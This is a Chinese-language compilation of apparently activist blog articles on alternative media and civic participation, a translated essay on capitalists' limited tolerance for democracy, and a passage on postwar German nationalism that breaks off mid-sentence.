占领运动抗议世界各地的社会和经济不平等，其主要目标是使所有社会中的经济和政治关系不那么垂直分层，分布得更加平坦。

地方团体往往有不同的侧重点，但在该运动的主要关注点中，涉及大公司和全球金融体系如何控制世界的方式不成比例地使极少数人受益，这种不公平破坏了民主、并且导致不稳定。

将“占领运动”的主流新闻报道与替代媒体的报道进行比较，你会发现几种趋势。

首先，主流媒体将对事件的混淆视为主导框架，而替代媒体则关注示威者实际上试图完成的事业。其次，主流媒体将抗议者置于任何暴力的过程中，而另类媒体则关注警察的暴行、及其对和平抗议者施加的暴力行为。[Cissell, M (2012). “Media framing: A comparative content analysis on mainstream and alternative news coverage of occupy wall street”. *The Elon Journal of Undergraduate Research in Communications*. Retrieved October 26, 2015.]

还记得我们在上篇文章中所举的例子吗？我们的记者留言给主流媒体的一带一路峰会驻场记者，要求他们关系一下会场外封路所造成的民生问题，但是他们不会关心这点，这不是他们的利益所在。

📢替代媒体是激进主义者。人权、环境运动、和公民权利等领域的社会运动产生了替代媒体，以促进其目标，传播其意识，并激发公民参与和支持。

人权 ——

「图」

使用替代媒体进行人权社会运动的一个例子是 WITNESS 组织。

WITNESS 是一个非营利人权组织，其使命是与实地组织合作，支持记录侵犯人权的行为及其后果，以促进公众参与、政策变革和公正。

他们使用手持式便携式摄像机和智能手机等技术录制视频，以吸引全世界的注意力，并更深入传播侵犯人权的行为。

他们记录了巴西贫民窟的警察暴力、刚果民主共和国的儿童兵、巴西和美国的人口贩运、以及许多其他侵犯人权行为，使用的都是替代媒体。

环保运动 ——

「图」

使用替代媒体的环保运动的一个典型例子是绿色和平组织。

绿色和平组织是一个非政府环境组织，将其活动集中在全球问题上，如气候变化、森林砍伐、过度捕捞、商业捕鲸、基因工程和反核等问题。

它使用直接行动、游说和研究并用的方法来实现其目标，尤其是：替代媒体。他们使用在线策略，如 播客和博客以及表演艺术。后面的“形式“部分有更多介绍。[Waltz, M (2005). *Alternative and Activist Media*. Edinburgh: Edinburgh University Press.]

民权运动 ——

「图」

使用替代媒体的民权组织的一个例子是学生非暴力协调委员会（SNCC）。 SNCC 是20世纪60年代美国民权运动中最重要的组织之一。

SNCC 参与了南方选民登记权运动，成立了自由学校，组织了密西西比自由民主党（MFDP），以及许多其他成就。

SNCC 使用的替代媒体策略包括建立一个专门的沟通部门，其中包括一个摄影部门，有自己的印刷机（发布其通讯），有出版的宣传材料，并创建了一个替代在线媒体。[Walmsley, M (2014). “Tell it like it isn’t: SNCC and the media, 1960–1965”. *Journal of American Studies*. **48**: 291–308. doi:10.1017/S0021875813002545.]

—— 参与式文化 ——

「图」

替代媒体经常被研究作为参与文化的一种表现形式，最重要的是，📡其中公民不仅仅是消费者，而是作为贡献者或生产者。

通过开放媒体制作的渠道，参与式文化被认为可以促进民主、公民参与、和创造性表达。

参与式文化很古老，远远早于互联网出现。业余新闻协会就是一种参与式文化形式，出现在19世纪后期。这些协会的成员排版并打印他们自己的出版物，这些出版物通过订户网络邮寄。

Zines，一个谈话广播节目和小组项目，也先于博客、播客、维基和社交网络。借助维基百科，Tumblr，Imgur，Reddit，Vine 和 YouTube 等网络服务，所有这些服务都允许用户分发原创内容，使媒体制作更具参与性。

随着公民在收集、报告、分析和传播新闻及信息方面发挥更积极的作用，参与式新闻也创造了替代媒体。

这种形式的替代和激进的新闻采访和报道功能在主流媒体机构是绝对找不到的，往往是对专业新闻主要缺点的回应。

📡它参与新闻实践，但是不会受到利润目标的驱动，具有不同的理想，并依赖于其他合法性来源。

参与式媒体方法考虑参与制作媒体内容以及将媒体制作流程作为替代媒体的定义特征，以做出决策。

📡参与式文化可以通过多种方式实现。其中媒体素养是通过了解媒体系统的惯例和生产方式以开始参与的途径之一，也就是我们前文中分析到的公民社会行动者必须具备充足的技能。学习自己制作媒体的个人是将公民从扫盲转向参与的重要步骤。

粉丝小说、社区广播或FM、家庭视频等等，这些都是公民可以制作的媒体内容，实现参与文化，并逐步转向制作替代媒体。

通过促进参与，替代媒体有助于加强公民态度，使公民能够积极参与与日常生活相关的主要领域之一，并将他们的沟通权利付诸实践。

为了说明民主与参与媒体制作之间的关系，“公民媒体”一词表明：替代媒体可以帮助那些制作媒体的人也成为积极的公民。这一概念与社

区媒体密切相关。

—— 社区媒体 ——

「图」

社区媒体包括公民媒体、参与媒体、活动家和激进派媒体、以及地方或区域特定平台参与的更广泛的传播形式。与其他形式的替代媒体一样，社区媒体一直在努力避免商业化。

消除或避免单一所有权或赞助的动机，⚠是希望不受到监视、不需要某种义务满足特定议程。

社区媒体通常被归类为草根，这种描述既适用于财务结构，也适用于内容创建过程。虽然社区媒体的多样性因媒体平台而异（广播、电视、网络或印刷品），但媒体来源通常向公众/社区开放以提交材料和内容。

这项开放的政策需要符合社区媒体的价值观，以维持民主的方法和精神。

历史上，社区媒体有助于提供另一种政治声音。在世界各地的社区形式中，这类媒体更多被用来提升特定空间的需求和语话，通常与地理、文化、社会或经济相似性密切联系。

民族和土著媒体 ——

「图」

少数族裔社区媒体可以是本地化的，也可以是国家的，用于向目标人群传播信息。它们为少数群体社区以及少数群体和多数群体之间的讨论和交流，提供了平台。

请注意一点，⚠少数族裔替代媒体并非自娱自乐的封闭圈子，它的目的是与多数族裔群体形成更友好的沟通和协作。

通常，以少数族裔为重点的媒体提供必要的资源，以其自己的语言为其受众提供基本信息，帮助特定群体作为其居住国的平等公民参与。

这些媒体平台和网点根据种族、民族或文化特征，为被剥夺权利或被边缘化的群体提供文化交流和提升或赋权的机会。

从历史上看，这些形式的媒体有双重目的：💡一方面向传统上被主流媒体忽视或绕避的社区传播信息，另方面作为政治抗议或社会改革的工具。

为解决少数群体发声而创建的空间通常跨越替代媒体和激进主义媒体的路线，致力于通过主流措施提供无法获得的资源，并转变普遍可接受的观点或对特定人群的理解。

在整个20世纪，媒体空间的开发都是明显活跃的，是为了适应不断增长的多元文化状态。

比如在美国，非裔美国人创建了像 Chicago Defender 这样的当地出版物来分享关键信息，以保护公民免受警察和政策制定者的歧视行为，而 Jet & Ebony 的杂志则赋予了全国黑人以身份，赞扬了美国黑人的成就和思想领导力。

而且，类似的做法在拉丁裔/亚裔群体中也变得越来越普遍。

从属者研究 ——

「图」

在替代媒体研究和从属者研究中发现了相关的目标，因为两个领域都普遍存在对被剥夺权利和受压迫的声音的关注。

从属者研究借鉴了安东尼奥·葛兰西（Antonio Gramsci）对“下层”群体的讨论，即 被认为在社会、经济和政治上处于劣势地位的群体。

从属者研究中最重要的问题之一是 Gayatri Chakravorty Spivak 提出的，“从属者有机会说话吗？”她在她的同名论文中提出了这个问题。

Spivak 调查从属者是否在霸权政治话语中有发言权，如果有，他们的声音是否能被听到，是否允许他们参与。⚠这很重要，因为从属者参与政治和其他社会和文化实践的能力是挑战他们的从属地位的关键。

这种特殊的学术机构对于替代媒体的研究和讨论是非常有用的，因为他们共同关注被剥夺权利的人民参与和抑制主流霸权话语的能力。[Spivak, G. (2010). “Can the Subaltern Speak?” In *Can the Subaltern Speak? Reflections on the History of an Idea.* Ed. by Rosalind Russel.]

在替代媒体学者 Clemencia Rodriguez 的研究中这种联系被加强。在对公民身份的讨论中，Rodriguez 评论说：“公民必须通过参与日常政

治实践，在日常生活中才能获取公民身份……

当公民积极参与重塑自己身份、他人身份和社会环境的行为时，他们就会产生出力量。

中国公民为什么倾向于“吃瓜”，曾经有很多观察人士作出过解释（包括我们），但是不可否认的一点就在于，缺乏参与的积极性和条件，以至于被动地处于事不关己的旁观地位。

因此，可以说，通过创建替代媒体的从属组织，人们确实可以表达自己的公民身份，由此产生了力量，并让他们发出自己的声音。希望中国公民能通过本文获得启示。[Rodriguez, C. (2001). “From Alternative Media to ‘Citizens’ Media.” In *Fissures in the Mediascape.*Creskill, NJ: Hampton Press.]

—— 媒体形式 ——

「图」

1、地下出版物

另类媒体由印刷出版物组成，提供与主流媒体和企业媒体的报纸、杂志和其他印刷品所提供的不同或持不同意见的观点。

Factsheet Five 出版商 Mike Gunderloy 将另类新闻描述为成熟的地下出版社。 Whole Earth, the Boston Phoenix, 和 Mother Jones 都属于这类。

地下出版物出现的数量很少，通常难以辨认，踩在无法辨认的主题的薄冰上，从来不会为设计师的牛仔裤那种东西刊登广告。

替代媒体的一个例子就是战术媒体，它使用“hit-and-run”战术来引起人们对新出现问题的关注。通常，战术媒体试图揭露那些操控主流媒体来源的大公司。对此我们后面还有具体分析，关于《守门人作为认知杀手》。

致力于战术媒体实践和信息活动的一个著名非政府组织就是 Tactical Technology Collective，它的理念和 **IYP** 差不多，即 协助人权倡导者使用技术保护自己，并在必要时进攻。

他们向全球社区免费发布了多个工具包，包括南亚非政府组织，并且协助建立一个自主的非政府组织框架，即 Security-In-A-Box。这是一

个软件集合。为在潜在敌对政治气候下运作的非政府组织保护数据安全，以及一个简短形式的工具包 10 Tactics —— 为权利倡导者提供原创和巧妙的方式来吸引公众注意力、并达成事业目标。

2、无线电

无线电由于其低成本，易于使用和近乎无处不在而成为替代媒体的重要形式。

例如，在20世纪70年代早期的澳大利亚，一个新的替代无线电部门诞生，由那些被排除在两个国家广播系统之外的人创建。在美国，第一个由听众支持的独立电台 KPFA 始于1949年，旨在提供真正自由的声音，不受主流电台商业利益的束缚。

他们的内容范围很广泛；虽然一些电视台的主要目标明确是政治性的和激进的，但其他电台则试图播放他们认为被排除在主流电台之外的音乐。

替代无线电通常（尽管不总是）采用社区广播的形式，通常被理解为参与性、开放性、非营利性，并由社区制作。

这些无线电台可能合法也可能非法播放，作为海盗电台。

替代无线电是一种全球现象。社区和替代无线电活动的例子包括 TilosRádió（匈牙利），Missinipi 广播公司（加拿大），Pacifica Radio 和 Prometheus Radio Project（均在美国）、以及 Radio Sagarmatha（尼泊尔）。

3、视频和电影

另类电影和视频通常是在主流电影和视频行业所覆盖范围之外制作的，其特点是主流产品中很少见的内容和/或风格。但是，它们的特定类型、内容和形式差异很大。

它们通常在非营利性组织环境中产生，例如 视频艺术集体（举例 Videotage，洛杉矶电影制片人合作社）或草根社会正义组织（举例 Line Break，CINEP-研究和大众教育中心）。

📢参与式视频项目中被边缘化群体或资源不足的群体通过视频讲述自己的故事，参与者都有相关的传媒技能，并增强相关人员的能力，传播主流媒体中人们通常看不到的表现形式，最重要的是，挑战现有的权力关系。[社会组织讲述故事的重要性，详见这里的分析《利用讲

述故事推动社会变革的秘诀》]

美国的另类电影在20世纪30年代的 The Film & Photo League 组织中很明显，通过社会纪录片和新闻片的编辑引起社会对工会和阶级问题的关注。[Leshne, C (2006). “The Film & Photo League of San Francisco”. *Film History*. **18** (4): 361. doi:10.2979/FIL.2006.18.4.361.]

随着技术的普及，激进的视频制作在80年代达到了顶峰。公共电视提供了广播渠道，通常是朋克和嘻哈影响的激进派文化批评。

例如，Deep Dish TV是一个电视网络，旨在通过公共电视提供接入基层组织的媒体，放大被边缘化的观点、纠正误传。如今，便携式的录制技术和互联网给了全球参与替代视频内容制作的更多机会，并促成了更加高效的流通和内容消费。

4、互联网

随着数字技术日益增加的重要性，出现了关于数字媒体适应替代媒体和主流媒体之间二分法的问题。

首先，博客、Facebook、Twitter 和其他类似网站，虽然不一定被创建为信息媒体，但越来越多地被用来传播新闻和信息，理论上都可以充当替代媒体，因为它们允许普通公民绕过传统主流媒体的守门人高墙，并分享这些公民认为重要的信息和观点。

其中最重要的是：⚠避免集中化网络平台监控审查，做好安全防御工作。这点详见我们的介绍《大清洗：反侦察的第一步》、《角色扮演：行动者刚需》，以及“Knowledge Node”栏目中介绍的诸多安全知识。

其次，互联网通过人际网络的培养、社会变革的集体行动，并使信息更易于获取，为动员提供了另一个空间。通常，在具有异议、持不同政见或非传统观点的人群中，互联网平台允许创建新的替代性社区，可以为那些通常被主流媒体边缘化的人提供发言权。

此外，互联网还导致了另一种编程形式，使专业人员和业余爱好者都能够颠覆或逃避对信息和信息技术的开放获取形成阻碍的商业和政治限制。

最后，互联网还孕育了一种创造和传播知识的新方式 —— 共同知识 —— 这与自上而下的灌输方式不同。它寻求并鼓励多个用户的参与，

促进协作知识生产的形式。维基百科是这一类型的一个很好的例子。

5、街头艺术

街头艺术通常被认为是游击艺术，不受正规艺术界的限制。

街头艺术以涂鸦、模板、壁画和印刷品的形式占用或改变公共空间，作为抗议和社会评论的手段。

街头艺术作为另一种形式的重要方面是它融合了美学和社会参与、城市空间的使用、以及与艺术所在地区的社会景观的互动。

街头艺术运动在20世纪80年代作为一种与高级艺术和商业场所截然不同的艺术形式而受到欢迎，之后，随着人气的增长，一些街头艺术家从街道的其他场所搬到了画廊和博物馆展览。

巴黎、布宜诺斯艾利斯和圣保罗等城市通过艺术家集体行动和竞赛的形式将街头艺术作为合法的替代媒体突显出来，引起人们对其他声音的关注。[“Wooster Collective”. *Wooster Collective*. Archived from the original on 2015–10–27. Retrieved 2015–10–27.]

艺术家和粉丝在互联网上分享来自世界各地的街头艺术图片，极大地影响了街头艺术这一替代媒体形式的发育。 Streetsy.com和WoosterCollective.com等网站是最受欢迎的街头艺术分享网站。

你可以看到这是极具感召力的直接行动模式；最重要的是，它所激发的公民参与和由此形成的联合力量。这些都是泼墨所远不能及的。泼墨等个人行为艺术并非无效，但如果不能引发联合行动，只能成为一个会迅速过时的符号。

6、表演

表演也是媒体？当然是。

作为替代媒体的表演使用戏剧、歌曲和表演艺术作为吸引观众和促进社会议程的手段。

表演艺术是一种前卫艺术形式，通常使用现场表演来挑战传统形式的视觉艺术。它的运作是“戏剧的对立面，挑战正统的艺术形式和文化规范”。

从达达派和超现实主义到后极简主义的社会和文化运动中，表演艺术

都发挥着重要的作用，反映了当时的政治环境。

虽然表演艺术通常被归为高级艺术，但街头戏剧通常以草根方式运作，利用当地社区进行表演或对话。🌛它可以作为一种抗议形式而存在，就像致力于通过实验剧场改变社会权力等级的 Living Theatre 一样。

7、音乐

某些类型的音乐和音乐表演也可以归类为替代媒体。

独立音乐是与商业唱片公司分开制作的音乐。采取的是颠覆性的声音和歌词。

David Hesmondhalgh 教授将独立音乐的另类性质描述为“务实的后朋克公司网络”，对主要唱片公司所青睐的文化生产商业组织构成了重大的挑战。

用艺术反抗 —— IYP 推荐一系列抵制监制保护隐私的歌曲，即 替代媒体，传播这些歌曲，将他们设为手机铃声，这就是一场权利运动。详见《一起听歌》。

🌛想想看，中国在上述这些方面都拥有哪些创作空间？🌛

—— 类型 ——

「图」

通信学者 Leah Lievrouw 主要关注新媒体在替代媒体项目中日益重要的作用，他确定了基于当代新媒体的五种类型的替代媒体活动：文化干扰，替代计算、参与式新闻、中介动员和共同知识。

- 文化干扰 —— 通常试图批评娱乐、广告和艺术等流行文化。它倾向于评论企业资本主义和消费主义问题，并寻求提供政治评论。文化干扰文本的特征包括图像、视频、声音或文本的挪用或重新利用，并且在某种意义上它们具有讽刺意味或讽刺性。比如如今的互联网meme 是为最简单的文化干扰。
- 替代计算 —— 涉及信息和通信技术的物质基础设施。它试图批评和重新配置系统，旨在颠覆或规避对信息和信息技术的开放获取产生阻碍作用的商业和政治限制。比如开源运动、以及洪流。海盗党崛起。

- 参与式新闻 —— 是指基于网络的关键或激进新闻来源，无论是在线新闻服务还是博客。这些新闻的替代渠道通常采用公民新闻的哲学，并将自己视为主流新闻和观点的替代品。参与式新闻项目可涵盖被报道不足的群体和社会问题。在此一些替代媒体项目的作者和读者具有相似的能力，因此具有参与性或互动性的特征。参与式新闻的一个例子是著名的 Indymedia。
- 中介动员 —— 涉及通过使用 Facebook 或 YouTube 等新媒体工具和平台动员或组织社交活动、身份或文化项目的沟通实践。这种类型的特征包括人际网络的培养、社会变革的集体行动，并使信息易于获取。
- 共同知识 —— 是指为传统的自上而下创造和传播知识的形式提供替代方案的项目。它寻求并鼓励多个用户的参与，促进协作知识生产。例如维基百科。

从类型的角度思考当前形式的替代媒体，不仅可以让我们识别某些交流方式的特征和惯例，而且还可以“让人们能够恰当地表达自己，实现各种目的或意图”。

换句话说，💡通过本文，您可以开始了解替代新媒体项目的创作者和参与者如何积极地塑造他们的沟通实践。在您的国家和社区实现它们。

—— 审美 ——

「图」

💡与实验和创新的生产和协作模式相结合，替代媒体中的美学可以成为用来颠覆主导权力的政治工具。

像许多替代媒体制作者一样，学者 Crispin Sartwell 将政治视为一种美学环境。因此，这些艺术政治系统不仅使用美学作为获得权力的工具，而且通过所有媒体中的审美形式产生。

因此，替代媒体寻求新的艺术、非传统或前卫的手段来代表其内容的情况并不少见。在这种情况下，美学的使用允许替代媒体以重新调整、重新协商或暴露其内部政治的方式，来处理其他平庸的内容。

学者们将 Avante-garde 艺术运动联系起来，将另类美学作为一种政治工具。

像未来主义、达达和情境主义这样的运动看起来像是挑战关于“艺术

是什么”的陈规定论，以便从根本上改变公共和政治意识形态的正式规则。即 拒绝那些由支配性阶级强制执行的风格和审美的逻辑、理由和规则。

一些替代媒体制造者希望通过拒绝主流的视觉教条，从而彻底摆脱主导阶级的令人窒息的限制，其他的则通过模仿、嘲弄和讽刺来颠覆主流语言和信息。

强调观众参与的前卫运动包括未来主义、达达主义、超现实主义、情境主义、波普艺术、新混合主义和受压迫者剧场。

通过邀请观众参与媒体的创作，合作者希望通过拥抱民主的生产方式来颠覆或批评社会中的等级结构（资本主义、象牙塔）。

好了。希望您能通过本文了解到反抗意味着什么、如何寻找社会空间以发挥反抗的能力、如何在身边开启民主实践，祝福中国社会拥有美好的未来。〇

原文

资本家支持民主吗？为什么？ - iyouport

社会反抗和思考

资本家有时会接受选举民主。但在历史上，资本家从未接受过可能威胁资本主义财产关系的选举结果。

今天的政治共识坚定地认为资本主义和民主之间存在亲和力。对于自由市场的思想家们来说，对资本随心所欲的自由的任何实质性限制都会导致社会走向“奴役之路”，正如弗里德里希·哈耶克的著名说法。相信市场可以而且应该被监管的自由主义者和社民主义者仍然承认，如果要维护自由，一个基于经济资源私有制的系统是必不可少的。

然而，只要看一眼历史记录就会发现，资本家是历史上一些最臭名昭著的专制政权的主要支持者，从希特勒的第三帝国到南非的种族隔离制度和拉丁美洲的君主制。即使我们在最基本的意义上定义“民主”，将其定义为一套通过正式的和平方法交替政府团队的程序，资本主义和这种政治框架之间显然也没有必然联系；它们的共存是可能的，但绝不是不可避免的。

在右翼专制势力再次抬头的时候，甚至在历史最悠久的资本主义民主国家也一样，对资本家与民主关系的立场进行现实的评估是至关重要的。资本家阶层既不是不可避免地敌视民主，也不是一成不变地支持民主；相反，他们的政治利益，就像其他阶级的政治利益一样，来自他们在阶级关系中的具体结构位置和阶级之战的具体环境。

我们必须首先明确确定资本家的独特阶级利益。因为资本家作为一个群体构成了一个独特的阶级类型，所以必须抵制使用那些看起来容易理解但实际上严重不精确的类别来描述他们，如“富人”。资本家既不是“富人”，也不是“百分之一”，更不是什么“企业精英”。他们是一群代理人，在剩余榨取的对立关系中占据了一个独特的结构位置。发达资本主义社会政治的大部分特征都来自于这个群体独特的政治行为。

所有主要的资本主义民主国家都远远不是“竞争性精英主义”或“正式民主”的完美范例。它们都包含重大的扭曲—— 选举团制度、得票最

多者当选的投票制度、多数制 —— 在代表权和社会中政治观点的实际分布之间造成了鸿沟。但下面的评论仍然适用于组织最完美的代议制。

资本家如何统治

「图」

资本家与以往所有的统治阶级不同，鉴于他们从直接生产者那里提取剩余价值的典型方式。资本家凭借其对社会主要生产资料所有权的法律支持，占有工人生产的成果。相比之下，资本家通常不会通过直接使用政治手段（如威胁或实际使用暴力，或依靠国家当局正式强制生产剩余产品）从生产者那里榨取剩余。相反，资本家在生产过程中，在用金钱正式自由交换工人的劳动能力之后，提取剩余。

因此，界定资本主义社会的核心阶级关系是一种经济关系，而不是一种直接的政治关系。由于资本家的社会地位取决于这种经济关系的维持，所以他们与政治权威（或国家）总体上有一种特殊的关系。

资本家在剥削关系中所占据的地位的最重要后果是，他们的基本阶级利益并不要求他们直接控制政府。

这有两个重要的政治后果：首先，资本主义剥削与国家治理团队的交替是相容的；其次，组成这些团队的个人本身并不需要是资本家。事实上，正如许多资本主义国家的理论所认为的那样，非资本家作为资本主义的政治管理者往往比资本家本身表现得更好。

换句话说，资本主义经济体系与选举或正式民主是兼容的。当然，资本主义也与自由民主以外的政治形式兼容，正如许多与资本主义经济同时存在的政治威权主义的例子所显示的那样。但资本主义真正与众不同的地方在于，它与正式的选举民主兼容。历史上没有其他剩余价值占有阶级允许建立一种政治制度，给予至少相当一部分直接生产者以选举权。资本家在许多情况下容忍这样的制度，是由于他们高度具体的阶级利益。

资本家的具体政治利益

「图」

除了这种普遍的兼容性之外，资本家的阶级利益和自由民主之间还有一种更具体的联系。这种联系产生于资本主义特有的那种“阶级内部”

关系。由于资本家通过他们对主要生产资料的私人、个人所有权来占有剩余，他们必须通过在市场上销售产品来实现盈余。因此，资本家与其他资本家争夺市场份额。此外，资本家寻求进入新的生产线，在这些生产线上发生竞争。

这两个过程 —— 生产部门内部的竞争，以及进入新的生产线—— 意味着资本家的具体经济利益是高度分化的，与历史上其他主导阶级相比，尽管他们也有共同的阶级利益。例如，石油公司、光伏电池生产商和风车制造商的利益彼此不同。在这些不同的资本家之间肆虐的霍布斯式战争，使他们在维护非个人的法律秩序方面都有着共同的利益；而维护这样的秩序需要不同的政府团队轮流进出国家。

简单地说，资本家不仅对选举民主有潜在的容忍度，而且对选举民主也有积极的兴趣。

资本主义对民主的宽容的局限性

「图」

资本家对选举民主的容忍有两个明确的限制：一个来自阶级战争，另一个来自资本主义经济的结构条件。

考虑一下第一组限制。在经济增长时期，资本家可以接受工人阶级组织的出现，这些组织要求将社会剩余重新分配给工资。然而，这种态度是有严格条件的。资本家容忍有组织的大规模劳工运动和政党的唯一例子是，这些政党要么淡化、要么完全放弃了通过夺取和部署国家权力超越私有财产的目标。

换句话说，即使在短期内，肯定没有资本主义阶级容忍以工人阶级为基础的、寻求通过夺取国家权力来废除资本主义财产关系的群众政党的历史例子。在那些在资本主义内部存在的工人阶级群众政党中，它们总是不得不基本上放弃或委婉地表达它们的目标：斯堪的纳维亚的社会民主主义和意大利的共产主义都是如此。

这对社会主义者有着至关重要的影响。当一个为社会主义而斗争的自觉的工人阶级运动似乎接近取得胜利时，资本家将迅速放弃任何剩余的民主承诺，并诉诸于紧急措施。因此，如果压制资本主义阶级敌人，就不会发生向社会主义的过渡。这不可能在选举民主的框架内发生。

换句话说，民主社会主义的建立本身不能是严格选举意义上的民主；

同时，它必须在参与性意义上更加民主。

第二个限制来自于资本主义经济的结构特征。正如上述所建议的，资本家可以容忍在经济增长的环境中动员工人进行物质让步的行为。在这种情况下，资本家可以与缓和其政治要求的工人阶级分享不断扩大的蛋糕的收益。然而，当增长放缓时，资本和劳工之间对这块蛋糕的竞争就越来越具有零和性质。同时，资本家之间的冲突也变得更加尖锐。

在这种环境下，出现了“赢家通吃”的策略，资本家越来越不愿意分享增长带来的微薄收益。

此外，当增长放缓时，资本家开始从投资生产资料的战略转向使用政治手段来增加他们的剩余份额。这种替代战略可以采取许多不同的形式，从部署警察权力来驱逐不付房租的居民，到利用立法来执行金融资本对债务人的利益，或确保对所谓的知识产权的垄断控制。

这两方面的发展—— 阶级之间以及资本主义阶级本身的分配越来越具有零和性质—— 都对自由民主机制造成了深刻的破坏，而自由民主机制要求“宽容”，并愿意接受选举的偶然结果为合法。

这一切意味着什么

「图」

资本家是历史上唯一能够容忍基于广泛选举权的选举民主的剩余占有阶级，这种选举权包括了相当一部分被剥削阶级。由于他们在剩余掠夺关系中的特殊地位，资本家既可以容忍执政团队的交替，也可以容忍非资本家在国家中的存在。然而，他们对选举民主的容忍是严格限制的和有条件的。

历史上没有任何资本家容忍可能威胁到资本主义财产关系的选举结果的案例。更重要的是，随着世界经济日益停滞，工厂和设备的投资率全面下降，资本家之间以及资本家和生产者之间开始出现零和斗争。

无论民主社会主义的复苏和危机中的资本主义可能意味着什么，它们对竞争性精英主义的未来都不是好兆头。至于它们是否会导致建立一个超越资本主义的社会主义民主，则完全是另一回事。〇

【注：作者 Dylan Riley 是加州大学伯克利分校社会学副教授，也是 *New Left Review* 编委会的成员。】

Capitalists Have Never Been Friends of Democracy

原文

走出被称为祖国的牢笼 - iyouport

社会反抗和思考

给全世界所有在民族主义的牢笼中挣扎的人们

经过12年的法西斯主义，6年的战争，以及大屠杀的集中灭绝性杀戮，民族主义本应彻底失去信誉了吧。然而，它并没有。

几十年来，民族主义的思维框架继续存在。它们在所谓的铁幕两侧盛行，并在全球北方和全球南方的发展中世界中占主导地位。

即使在德意志联邦共和国，也没有立即开始远离那个 “被称为祖国的牢笼”—— 正如沃尔夫冈·科彭（Wolfgang Koeppen）的小说《暖房》（1953年）中的主角基滕霍夫（Keetenheuve）对他那令人沮丧的民族主义西德的称呼。

然而，当转折真的开始时，基滕霍夫的国家将踏上一个非凡的旅程—— 不是在通往世界主义的公路上疾驰，而是一个缓慢的旅程，需要采取一系列小步骤，逐步建立一个更加和平、多样化和对历史诚实的国家—— 一个更好的*德国*。

第三帝国瓦解后，德国人普遍将第二次世界大战的责任归咎于其他国家。“每个德国人都知道，我们不需要对发动战争负责”，纳粹记者希尔德加德·罗塞留斯在1946年断言。对于 “每一个德国人”，这位美国摄影师玛格丽特·伯克·怀特的熟人当然是夸大其词了。但是在1952年，68%的受访德国人对谁发动了第二次世界大战的问题都给出了 “德国” 以外的答案，直到1960年代，这种观点才落入少数。

20世纪50年代中期，在所有接受调查的德国人中，几乎有一半人对 “如果不是因为战争，希特勒会成为20世纪最伟大的政治家之一” 的说法表示认同。直到20世纪50年代末，当被问及他们的国家是否应该承认奥德河-尼斯河线，即与波兰的新边界时，近90%的人给出了否定的答案。

也许最能说明问题的是他们对犹太人的立场。1946年6月12日，汉娜·

阿伦特向被占领的德国最著名的公知之一道夫·史腾贝尔格(Dolf Sternberger)冒险表示，“德国从来没有像现在这样反犹”。迟至1959年，90%的受访德国人认为犹太人属于不同的种族 —— 而只有10%的人以这种方式看待英国人。

这些态度的总和表明，在第三帝国灭亡后的二十多年里，基滕霍夫所描述的 “祖国的牢笼” 依然紧闭。

与欧洲乃至世界上的大多数国家一样，德国缺乏一个强有力的替代民族主义的语话。直到20世纪70年代，《联合国人权宣言》在战后的欧洲都几乎没有任何吸引力。区域归属，如对欧洲的归属（或泛非主义或泛阿拉伯主义）是比较可行的，但那时还只限于少数精英。对资本主义的激烈辩护也没有耗尽民族主义题材的储存。而在铁幕的西侧，反共主义只是支持而不是削弱了由纳粹激发的民族主义。

【注：泛非主义是非洲的民族主义思潮，呼吁非洲政治上的联合。其促成了泛非运动的广泛发展，代表旗帜是红黑绿泛非颜色三色旗。泛阿拉伯主义是一种旨在统一阿拉伯世界的政治运动。它与阿拉伯民族主义有紧密联系，该思潮认为阿拉伯人应该组建一个单一民族国家。】

此外，战后的世界充斥着新的民族国家，特别是当它进入后殖民时代时。

如果您错过了《*国家*的危险神话》

1945年，只有51个独立国家在联合国；30年后，有144个。无论是在贾瓦哈拉尔·尼赫鲁的印度还是夸梅·恩克鲁玛的加纳，民族主义和自决的承诺在亚洲和非洲都引发了反殖民独立运动。在欧洲，民族主义也继续影响着对群体权利和领土边界的要求。

在德国，分裂的德国直到1990年才拥有完全的主权，它为关于最终统一、被驱逐的德国人返回其东欧家园的权利、以及德国东部边界的有效性的讨论，提供了信息。事实上，直到1970年，即战后的四分之一世纪，德意志联邦共和国才最终承认德国与波兰的边界是合法的（在1945年波茨坦会议上确立）。而西德仍有近一半的公民反对这一承认。

战后排他性民族主义的普遍性也反映了一个新的基本现实。第二次世界大战创造了一个由几乎同质的民族国家组成的欧洲。一系列的西欧国家，现在被认为是多样化的，但在当时却恰恰相反。

西德出生在外国的人口仅占1.1%，这个微不足道的比例被证明是整个欧洲大陆的典型。荷兰的外国出生人口更少，外国人在比利时、法国和英国的人口中所占比例不到5%。在战时，波兰和匈牙利等东欧国家拥有重要的少数民族和大量的犹太人口。在战后时期，这两者几乎都消失了，波兰人和匈牙利人基本上都是本地人。

在非全球化的低谷中，欧洲人也没有经常走出自己的国界，德国人也不例外。1950年，大多数德国人从未出过国，除了当兵。大约70%的成年女性根本没有离开过德国。旅行是少数人享受的奢侈品，直到20世纪50年代中期才开始回升，而国际旅行直到20世纪70年代才真正成为一种大众现象，当时大多数人都有自己的汽车。

在旅游业发展的最初几十年，德国人主要访问德语区的目的地，如莱茵河畔的城堡或阿尔卑斯山的北坡。在这几十年里，除了受过高等教育的人之外，很少有德国人会说外语，而大多数其他欧洲人，除非是移民工人，在此也没有什么不同。

被称为祖国的牢笼因此得到了加强。在一个民族主义的世界里，曾经被纳粹武装的国家的思维习惯持续存在，构成了一组强化。战后国家的相对同质性和缺乏和平时期的海外经验构成了另一组强化。还有第三个加强因素使这个牢笼关闭，那就是，德国人有东西要隐藏。

在战后时期，德国到处都是战犯。欧洲法院判处了大约10万名德国（和奥地利人）的罪犯。包括美国、苏联和波兰在内的二战盟国的定罪总和将这一数字进一步推高，西德法院将6000多名罪犯送入监狱，而东德更严厉的司法制度将近13000人定罪。

尽管如此，仍有许多事情需要掩盖。在纳粹指挥系统的下层，令人沮丧的是，许多具有不同程度共犯的犯罪者并没有受到惩罚，甚至没有任何后果。两个令人震惊的例子就足够了：在奥斯威辛集中营工作过的德国人中，只有10%的人被审判过，而对杀害50万人负有责任的德国警察营的大约5万名成员中，只有41个人见过监狱里面什么样。

审判和判决只揭示了共谋的部分情况。许多没有直接参与犯罪的德国人收获了价格低廉的财产和商品。来自德国北部城市汉堡的详细报告表明，仅在这个城市，就有大约**10**万人在犹太人的商品拍卖会上购买了被没收的商品。

在整个联邦共和国，曾经属于犹太邻居的房屋、犹太教堂和企业现在都在德国人手中。比照之下，参与第三帝国的谋杀和盗窃活动的人数也是如此，人们知道的情况也是如此。“Davon haben wir nichts

